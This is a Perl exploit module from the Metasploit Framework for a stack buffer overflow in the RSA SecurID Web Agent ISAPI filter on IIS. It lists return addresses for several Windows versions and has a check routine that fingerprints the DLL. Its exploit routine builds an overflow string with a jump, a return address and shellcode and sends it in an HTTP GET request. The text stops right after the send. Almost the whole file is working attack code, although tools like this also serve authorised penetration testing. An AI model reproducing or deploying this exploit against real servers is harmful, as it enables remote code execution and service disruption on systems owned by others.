##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::rsa_iiswebagent_redirect;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'IIS RSA WebAgent Redirect Overflow',
'Version' => '$Revision: 1.4 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'SSL' => [0, 'BOOL', 'Use SSL'],
'URL' => [1, 'DATA', 'The path to the DLL', '/WebID/IISWebAgentIF.dll'],
},

'Payload' =>
{
'Space' => 1024,
'BadChars' =>
"\x00\x09\x0a\x0b\x0d\x20\x22\x23\x25\x26\x27\x2b\x2f".
"\x3a\x3b\x3c\x3d\x3e\x3f\x40\x5c". "Z",

'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the SecurID Web Agent for IIS.
This ISAPI filter runs in-process with inetinfo.exe, any attempt to
exploit this flaw will result in the termination and potential restart
of the IIS service.
}),

'Refs' =>
[
# Anyone got a patch/advisory/solution URL?
],

'Targets' =>
[
# Version-specific return addresses
['RSA WebAgent 5.2', 996, 0x1001e694],
['RSA WebAgent 5.3', 992, 0x10010e89],

# Generic return addresses
['RSA WebAgent 5.2 on Windows 2000 English', 996, 0x75022ac4],
['RSA WebAgent 5.3 on Windows 2000 English', 992, 0x75022ac4],

['RSA WebAgent 5.2 on Windows XP SP0-SP1 English', 996, 0x71ab1d54],
['RSA WebAgent 5.3 on Windows XP SP0-SP1 English', 992, 0x71ab1d54],

['RSA WebAgent 5.2 on Windows XP SP2 English', 996, 0x71ab9372],
['RSA WebAgent 5.3 on Windows XP SP2 English', 992, 0x71ab9372],

['RSA WebAgent 5.2 on Windows 2003 English SP0', 996, 0x7ffc0638],
['RSA WebAgent 5.3 on Windows 2003 English SP0', 992, 0x7ffc0638],

],

'Keys' => ['rsa'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

$s->Send("GET ".$self->GetVar('URL')."?GetPic?image=msf HTTP/1.1\r\nHost: $target_host:$target_port\r\n\r\n");

my $r = $s->Recv(-1, 5);

if ($r =~ /RSA Web Access Authentication/)
{
$self->PrintLine("[*] Found IISWebAgentIF.dll ;)");
return $self->CheckCode('Detected');
} else {

$self->PrintLine("The IISWebAgentIF.dll ISAPI does not appear to be installed");
return $self->CheckCode('Safe');
}
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[ $target_idx ];

$self->PrintLine("[*] Attempting to exploit target ".$target->[0]);

my $pattern = Pex::Text::AlphaNumText(8192);
# Just don't ask.
$pattern =~ s/\d|Z/A/ig;

substr($pattern, $target->[1] , 4, pack('V', $target->[2]));
substr($pattern, $target->[1] - 4, 2, "\xeb\x06");
substr($pattern, $target->[1] + 4, length($shellcode), $shellcode);

my $request =
"GET ".$self->GetVar('URL')."?Redirect?url=$pattern HTTP/1.1\r\n".
"Host: $target_host:$target_port\r\n\r\n";

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
$s->Send($request);